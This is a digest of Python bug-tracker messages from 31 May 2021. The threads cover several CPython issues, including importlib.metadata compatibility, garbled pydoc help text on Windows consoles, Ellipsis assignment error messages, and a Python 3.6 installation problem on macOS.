concerns, please raise them separately (preferably with python/importlib_metadata, and please include use-cases that exemplify not just the effect, but the impact. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:28:51 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 16:28:51 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622478531.83.0.808227520472.issue44246@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +25067 pull_request: https://github.com/python/cpython/pull/26472 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:29:34 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 16:29:34 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622478574.81.0.80870531821.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 78d9a9b1904f0e1d9db1e941c19782f4f5a881d4 by Jason R. Coombs in branch 'main': bpo-44246: Remove note about access by index now that a compatibility shim is offered. (GH-26472) https://github.com/python/cpython/commit/78d9a9b1904f0e1d9db1e941c19782f4f5a881d4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:29:44 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 16:29:44 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622478584.27.0.323380032401.issue44246@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25068 pull_request: https://github.com/python/cpython/pull/26473 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:42:02 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 16:42:02 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622479322.02.0.845469297032.issue44246@roundup.psfhosted.org> miss-islington added the comment: New changeset 7207203e1d71e4bf65e5b4991f60e7dc1e35e813 by Miss Islington (bot) in branch '3.10': [3.10] bpo-44246: Restore compatibility in entry_points (GH-26468) (GH-26471) https://github.com/python/cpython/commit/7207203e1d71e4bf65e5b4991f60e7dc1e35e813 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:48:01 2021 From: report at bugs.python.org (Jesse Silverman) Date: Mon, 31 May 2021 16:48:01 +0000 Subject: [issue44275] Is there a mojibake problem rendering interactive help in the REPL on Windows? Message-ID: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org> New submission from Jesse Silverman : I didn't know whether to file this under DOCUMENTATION or WINDOWS. I recently discovered the joys of the interactive help in the REPL, rather than just help(whatever). I was exploring the topics and noticed multiple encoding or rendering errors. I realized I stupidly wasn't using the Windows Terminal program but the default console. I addressed that and they persisted in Windows Terminal. I upgraded from 3.9.1 to 3.9.5...same deal. I tried running: Set-Item -Path Env:PYTHONUTF8 -Value 1 before starting the REPL, still no dice. I confirmed this worked in the same session: >>> ustr2='?????????????' >>> ustr2 '?????????????' It does. The help stuff that doesn't render correctly is under topic COMPARISON: lines 20, 21 and 25 of this output contain head-scratch-inducing mystery characters: help> COMPARISON Comparisons *********** Unlike C, all comparison operations in Python have the same priority, which is lower than that of any arithmetic, shifting or bitwise operation. Also unlike C, expressions like "a < b < c" have the interpretation that is conventional in mathematics: comparison ::= or_expr (comp_operator or_expr)* comp_operator ::= "<" | ">" | "==" | ">=" | "<=" | "!=" | "is" ["not"] | ["not"] "in" Comparisons yield boolean values: "True" or "False". Comparisons can be chained arbitrarily, e.g., "x < y <= z" is equivalent to "x < y and y <= z", except that "y" is evaluated only once (but in both cases "z" is not evaluated at all when "x < y" is found to be false). Formally, if *a*, *b*, *c*, ???, *y*, *z* are expressions and *op1*, *op2*, ???, *opN* are comparison operators, then "a op1 b op2 c ... y opN z" is equivalent to "a op1 b and b op2 c and ... y opN z", except that each expression is evaluated at most once. Note that "a op1 b op2 c" doesn???t imply any kind of comparison between *a* and *c*, so that, e.g., "x < y > z" is perfectly legal (though perhaps not pretty). That is: ???, ???, ??? em-dash or ellipsis might be involved somehow...maybe fancy apostrophe? My current guess is that it isn't about rendering anymore, because something went awry further upstream? Thanks! ---------- assignee: docs at python components: Documentation messages: 394817 nosy: docs at python, jessevsilverman priority: normal severity: normal status: open title: Is there a mojibake problem rendering interactive help in the REPL on Windows? type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 13:00:23 2021 From: report at bugs.python.org (Andre Roberge) Date: Mon, 31 May 2021 17:00:23 +0000 Subject: [issue44275] Is there a mojibake problem rendering interactive help in the REPL on Windows? In-Reply-To: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org> Message-ID: <1622480423.45.0.133752459311.issue44275@roundup.psfhosted.org> Andre Roberge added the comment: I observe something similar, though with different symbols. My Windows installation uses French (fr-ca) as default language. === help> COMPARISON Comparisons *********** ... Formally, if *a*, *b*, *c*, ?, *y*, *z* are expressions and *op1*, *op2*, ?, *opN* are comparison operators, then "a op1 b op2 c ... y opN z" is equivalent to "a op1 b and b op2 c and ... y opN z", except that each expression is evaluated at most once. Note that "a op1 b op2 c" doesn?t imply any kind of comparison between *a* and *c*, so that, e.g., "x < y > z" is perfectly legal (though perhaps not pretty). So, in my case, the unusual characters are: ?, ?. In this case, the French word '?' would make some sense in this context (as it means 'to' in English). ---------- nosy: +aroberge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 13:04:03 2021 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Mon, 31 May 2021 17:04:03 +0000 Subject: [issue15795] Zipfile.extractall does not preserve file permissions In-Reply-To: <1346106964.12.0.723201722432.issue15795@psf.upfronthosting.co.za> Message-ID: <1622480643.53.0.561819979558.issue15795@roundup.psfhosted.org> ?ric Araujo added the comment: The pull request needs unit tests added to validate the changes. Note that the patch attached here was a new feature, adding constants and parameters to control the behaviour, but the PR simply checks and applies permissions bits stored in the entry. That seems correct and nice to me, and arguably a bugfix that should be backported, but more active core devs and/or zipfile experts should weigh in. ---------- nosy: +eric.araujo versions: +Python 3.10 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 13:41:24 2021 From: report at bugs.python.org (Jesse Silverman) Date: Mon, 31 May 2021 17:41:24 +0000 Subject: [issue44275] Is there a mojibake problem rendering interactive help in the REPL on Windows? In-Reply-To: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org> Message-ID: <1622482884.33.0.967114112274.issue44275@roundup.psfhosted.org> Jesse Silverman added the comment: I looked around some more and it definitely is not just one isolated instance. I noted a similar issue on the lines from CLASSES topic pasted here. I think it is all usages of the ellipsis in the context of the help text? Maybe also fancy quote marks that didn't survive the jump from ASCII to Unicode? And some fancy dashes. The theme of my day was excitement at how much more docs and help ship than I had realized with the most basic Python install and thus are at my fingertips anywhere, everywhere, internet access or not. This mars that exuberance only slightly. help> CLASSES The standard type hierarchy *************************** Below is a list of the types that are built into Python. Extension modules (written in C, Java, or other languages, depending on the implementation) can define additional types. Future versions of Python may add types to the type hierarchy (e.g., rational numbers, efficiently stored arrays of integers, etc.), although such additions will often be provided via the standard library instead. Some of the type descriptions below contain a paragraph listing ???special attributes.??? These are attributes that provide access to the ... method???s documentation (same as "__func__.__doc__"); "__name__" ... dictionary containing the class???s namespace; "__bases__" is a tuple containing the base classes, in the order of their occurrence in the base class list; "__doc__" is the class???s documentation string, ???Classes???. See section Implementing Descriptors for another way ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 14:07:58 2021 From: report at bugs.python.org (Isuru Fernando) Date: Mon, 31 May 2021 18:07:58 +0000 Subject: [issue41100] Support macOS 11 and Apple Silicon Macs In-Reply-To: <1592999467.1.0.372512113251.issue41100@roundup.psfhosted.org> Message-ID: <1622484478.06.0.75245848155.issue41100@roundup.psfhosted.org> Change by Isuru Fernando : ---------- nosy: +isuruf nosy_count: 23.0 -> 24.0 pull_requests: +25069 pull_request: https://github.com/python/cpython/pull/26474 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 14:16:28 2021 From: report at bugs.python.org (Kyle Stanley) Date: Mon, 31 May 2021 18:16:28 +0000 Subject: [issue39529] Deprecate get_event_loop() In-Reply-To: <1580641897.21.0.210075972969.issue39529@roundup.psfhosted.org> Message-ID: <1622484988.28.0.313159746734.issue39529@roundup.psfhosted.org> Kyle Stanley added the comment: > But why does `asyncio.run` unconditionally create a new event loop instead of running on `asyncio.get_event_loop`? AFAIK, it does so for purposes of compatibility in programs that need multiple separate event loops and providing a degree of self-dependency. asyncio.run() is entirely self-reliant in that it creates all needed resources at the start and closes them in finalization, rather than depending on existing resources. I believe this to be significantly safer and better guaranteed to function as intended, although perhaps at some cost to convenience in cases like your own where there only needs to be one event loop. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 14:43:10 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Mon, 31 May 2021 18:43:10 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ In-Reply-To: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org> Message-ID: <1622486590.83.0.944297459863.issue44273@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 15:03:54 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 31 May 2021 19:03:54 +0000 Subject: [issue44227] help(bisect.bisect_left) In-Reply-To: <1621904858.62.0.585664963614.issue44227@roundup.psfhosted.org> Message-ID: <1622487834.52.0.636895558303.issue44227@roundup.psfhosted.org> Raymond Hettinger added the comment: > Conceptually, yes, but the function does return an index, The function does not return an index. It returns an integer that represents an insertion point. The documentation is clear about this: Locate the insertion point for x in a to maintain sorted order. ... return value is suitable for use as the first parameter to list.insert() Likewise, the documented and precise invariants are stated in terms of slice points: The returned insertion point i partitions the array ``a `` into two halves so that ``all(val < x for val in a[lo : i])`` for the left side and ``all(val >= x for val in a[i : hi])`` for the right side. > and values are stored at these indices. That isn't true: >>> bisect([], 5) 0 There is no value at 0. The bisect functions are all about insertion points and ranges. They aren't expressed in terms of an index and value. The underlying algorithm never checks for equality. Instead, it only uses __lt__(), so it is never aware of having "found" a value at all. For people with use cases expressed in terms of index and value, there is a separate section of the docs showing show how to bridge between what they want and what the module actually does: https://docs.python.org/3.10/library/bisect.html#searching-sorted-lists ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 16:24:28 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 31 May 2021 20:24:28 +0000 Subject: [issue44260] _Random.seed() is called twice In-Reply-To: <1622212048.99.0.121842396012.issue44260@roundup.psfhosted.org> Message-ID: <1622492668.2.0.082454170484.issue44260@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset a6a20658814e8668966fc86de0e80a4772864781 by Serhiy Storchaka in branch 'main': bpo-44260: Do not read system entropy without need in Random() (GH-26455) https://github.com/python/cpython/commit/a6a20658814e8668966fc86de0e80a4772864781 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 16:24:57 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 31 May 2021 20:24:57 +0000 Subject: [issue44260] _Random.seed() is called twice In-Reply-To: <1622212048.99.0.121842396012.issue44260@roundup.psfhosted.org> Message-ID: <1622492697.13.0.91077058432.issue44260@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 16:27:55 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 31 May 2021 20:27:55 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ In-Reply-To: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org> Message-ID: <1622492875.22.0.626253364893.issue44273@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Hummmm, I sort of agree, but I need to weigh how complex is going to be to special-case. I really don't want to start adding many different paths for the different built-ins in different situations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 16:31:11 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 31 May 2021 20:31:11 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ In-Reply-To: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org> Message-ID: <1622493071.74.0.402581455693.issue44273@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Also, another problem is that "cannot assign to __debug__" is actually a compiler error, while "cannot assign to Ellipsis here. Maybe you meant '==' instead of '='?" is a parser error. This is because "__debug__" is tokenized as NAME while '...' is tokenized as ELLIPSIS (it's own token). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 16:31:44 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 31 May 2021 20:31:44 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ In-Reply-To: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org> Message-ID: <1622493104.07.0.876097700313.issue44273@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: What we can do is to replace: SyntaxError: cannot assign to Ellipsis here. Maybe you meant '==' instead of '='? for SyntaxError: cannot assign to '...' here. Maybe you meant '==' instead of '='? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 16:58:32 2021 From: report at bugs.python.org (Andre Roberge) Date: Mon, 31 May 2021 20:58:32 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ In-Reply-To: <1622493104.07.0.876097700313.issue44273@roundup.psfhosted.org> Message-ID: Andre Roberge added the comment: > > I think that the suggestion to explicitly refer to '...' instead of the name Ellipsis would be preferable. Aside: I had not realized that this was done at a different stage for __debug__ and Ellipsis ("Ignorance is bliss"...) and do realize that this is a rare corner case that a beginner would almost never encountered. (I'm just trying my best to prevent any kind of confusion in my own program, and probably overestimate the potential for confusion here for cPython users). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 17:06:36 2021 From: report at bugs.python.org (Zackery Spytz) Date: Mon, 31 May 2021 21:06:36 +0000 Subject: [issue17153] tarfile extract fails when Unicode in pathname In-Reply-To: <1360255401.83.0.937643629633.issue17153@psf.upfronthosting.co.za> Message-ID: <1622495196.98.0.267589662813.issue17153@roundup.psfhosted.org> Zackery Spytz added the comment: Python 2.7 is no longer supported, so I think this issue should be closed. ---------- nosy: +ZackerySpytz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 18:15:02 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 31 May 2021 22:15:02 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ In-Reply-To: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org> Message-ID: <1622499302.88.0.421638482368.issue44273@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I suggest to just close it or otherwise changing the message to include "..." instead of "Ellipsis". Anything else is actually much more complex than it seems, unfortunately ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 18:27:36 2021 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 31 May 2021 22:27:36 +0000 Subject: [issue17153] tarfile extract fails when Unicode in pathname In-Reply-To: <1360255401.83.0.937643629633.issue17153@psf.upfronthosting.co.za> Message-ID: <1622500056.01.0.880144189284.issue17153@roundup.psfhosted.org> Change by Vinay Sajip : ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 18:29:27 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 22:29:27 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622500167.13.0.87888125144.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset d0991e2db3bb932e2411ee9dca54fd69ff2611c4 by Miss Islington (bot) in branch '3.10': bpo-44246: Remove note about access by index now that a compatibility shim is offered. (GH-26472) (#26473) https://github.com/python/cpython/commit/d0991e2db3bb932e2411ee9dca54fd69ff2611c4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 18:38:13 2021 From: report at bugs.python.org (Andre Roberge) Date: Mon, 31 May 2021 22:38:13 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ In-Reply-To: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org> Message-ID: <1622500693.1.0.280780290713.issue44273@roundup.psfhosted.org> Andre Roberge added the comment: Up to your best judgment Pablo - and thanks for your ongoing work on improving error messages. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 18:49:10 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 31 May 2021 22:49:10 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622501350.07.0.343833427683.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +25070 pull_request: https://github.com/python/cpython/pull/26475 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 20:30:39 2021 From: report at bugs.python.org (Soffie Swan) Date: Tue, 01 Jun 2021 00:30:39 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622507439.86.0.474744996356.issue42972@roundup.psfhosted.org> Soffie Swan added the comment: thanks and god blesse you all ---------- nosy: +soffieswan015 type: -> behavior Added file: https://bugs.python.org/file50077/DTD-Matching-Gift-Dashboard - Google Sheets.html _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 20:41:32 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 01 Jun 2021 00:41:32 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622508092.37.0.325426249221.issue42972@roundup.psfhosted.org> Change by Pablo Galindo Salgado : Removed file: https://bugs.python.org/file50077/DTD-Matching-Gift-Dashboard - Google Sheets.html _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 21:18:46 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 Jun 2021 01:18:46 +0000 Subject: [issue44274] Installation problem for python-3.6.4rc1-macosx10.6.pkg-('python cannot be opened because of a problem') in my MacOS11.4 In-Reply-To: <1622473889.75.0.253068261009.issue44274@roundup.psfhosted.org> Message-ID: <1622510326.62.0.97692184679.issue44274@roundup.psfhosted.org> Ned Deily added the comment: It appears you are trying to use a very old version of Python 3.6.4 from a python.org installer, and a release candidate at that. This particular installer version will not run on current macOS systems. Note that Python 3.6 has been in the security-fix-only phase of its life cycle for some years now and will reach end-of-life at the end of this year. The current supported version of Python 3 is now 3.9.5. If at all possible, you should upgrade to it as soon as possible. If you feel you must use Python 3.6, the last macOS binary installers for it were produced for 3.6.8 in 2018; there are two installers for that release but only the "10.9 and later" installer variant will even launch at all on macOS 11 Big Sur. But keep in mind that there are known issues with trying to run Python 3.6 on macOS 11 (i.e. it is not officially supported) and there have been many bug and security fixes to Python 3 since that installer was built. You should think twice about trying to use it. https://www.python.org/downloads/ https://www.python.org/dev/peps/pep-0494/ ---------- nosy: +ned.deily resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 21:20:41 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 Jun 2021 01:20:41 +0000 Subject: [issue44275] Is there a mojibake problem rendering interactive help in the REPL on Windows? In-Reply-To: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org> Message-ID: <1622510441.03.0.318521048615.issue44275@roundup.psfhosted.org> Change by Ned Deily : ---------- components: +Windows -Documentation nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 21:55:32 2021 From: report at bugs.python.org (Abhishek Ramesh) Date: Tue, 01 Jun 2021 01:55:32 +0000 Subject: [issue44274] Installation problem for python-3.6.4rc1-macosx10.6.pkg-('python cannot be opened because of a problem') in my MacOS11.4 In-Reply-To: <1622510326.62.0.97692184679.issue44274@roundup.psfhosted.org> Message-ID: Abhishek Ramesh added the comment: Thank you for the information. On Tue, Jun 1, 2021, 6:48 AM Ned Deily wrote: > > Ned Deily added the comment: > > It appears you are trying to use a very old version of Python 3.6.4 from a > python.org installer, and a release candidate at that. This particular > installer version will not run on current macOS systems. Note that Python > 3.6 has been in the security-fix-only phase of its life cycle for some > years now and will reach end-of-life at the end of this year. The current > supported version of Python 3 is now 3.9.5. If at all possible, you should > upgrade to it as soon as possible. > > If you feel you must use Python 3.6, the last macOS binary installers for > it were produced for 3.6.8 in 2018; there are two installers for that > release but only the "10.9 and later" installer variant will even launch at > all on macOS 11 Big Sur. But keep in mind that there are known issues with > trying to run Python 3.6 on macOS 11 (i.e. it is not officially supported) > and there have been many bug and security fixes to Python 3 since that > installer was built. You should think twice about trying to use it. > > https://www.python.org/downloads/ > https://www.python.org/dev/peps/pep-0494/ > > ---------- > nosy: +ned.deily > resolution: -> out of date > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 22:17:57 2021 From: report at bugs.python.org (Inada Naoki) Date: Tue, 01 Jun 2021 02:17:57 +0000 Subject: [issue44275] Is there a mojibake problem rendering interactive help in the REPL on Windows? In-Reply-To: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org> Message-ID: <1622513877.3.0.848118380971.issue44275@roundup.psfhosted.org> Inada Naoki added the comment: Do you use PowerShell? Please run this command and paste the output. ``` PS> $OutputEncoding PS> [System.Console]::OutputEncoding ``` ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 22:38:06 2021 From: report at bugs.python.org (Eryk Sun) Date: Tue, 01 Jun 2021 02:38:06 +0000 Subject: [issue44275] Is there a mojibake problem rendering interactive help in the REPL on Windows? In-Reply-To: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org> Message-ID: <1622515086.87.0.820302595819.issue44275@roundup.psfhosted.org> Eryk Sun added the comment: > PS> [System.Console]::OutputEncoding The console's current output encoding is irrelevant to this problem. In Windows, pydoc uses the old "more.com" pager with a temporary file that's encoded with the default encoding, which is the process active codepage (i.e. "ansi" or "mbcs"), unless UTF-8 mode is enabled. The "more.com" utility, however, decodes the file using the console's current input codepage from GetConsoleCP(), and then it writes the decoded text via wide-character WriteConsoleW(). The only supported way to query the latter in the standard library is via os.device_encoding(0), and that's only if stdin isn't redirected to a file or pipe. Alternatively, ctypes can be used via ctypes.WinDLL('kernel32').GetConsoleCP(). For the latter, we would need to add _winapi.GetConsoleCP(), since using ctypes is discouraged. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 23:00:37 2021 From: report at bugs.python.org (Inada Naoki) Date: Tue, 01 Jun 2021 03:00:37 +0000 Subject: [issue44275] Is there a mojibake problem rendering interactive help in the REPL on Windows? In-Reply-To: <1622479681.25.0.222834045031.issue44275@roundup.psfhosted.org> Message-ID: <1622516437.91.0.577596314079.issue44275@roundup.psfhosted.org> Inada Naoki added the comment: > In Windows, pydoc uses the old "more.com" pager with a temporary file that's encoded with the default encoding, which is the process active codepage (i.e. "ansi" or "mbcs"), unless UTF-8 mode is enabled. The "more.com" utility, however, decodes the file using the console's current input codepage from GetConsoleCP(), and then it writes the decoded text via wide-character WriteConsoleW(). Then, we need to check `[System.Console]::InputEncoding` too. It is a `GetConsoleCP()`. ---------- _______________________________________ Python tracker _______________________________________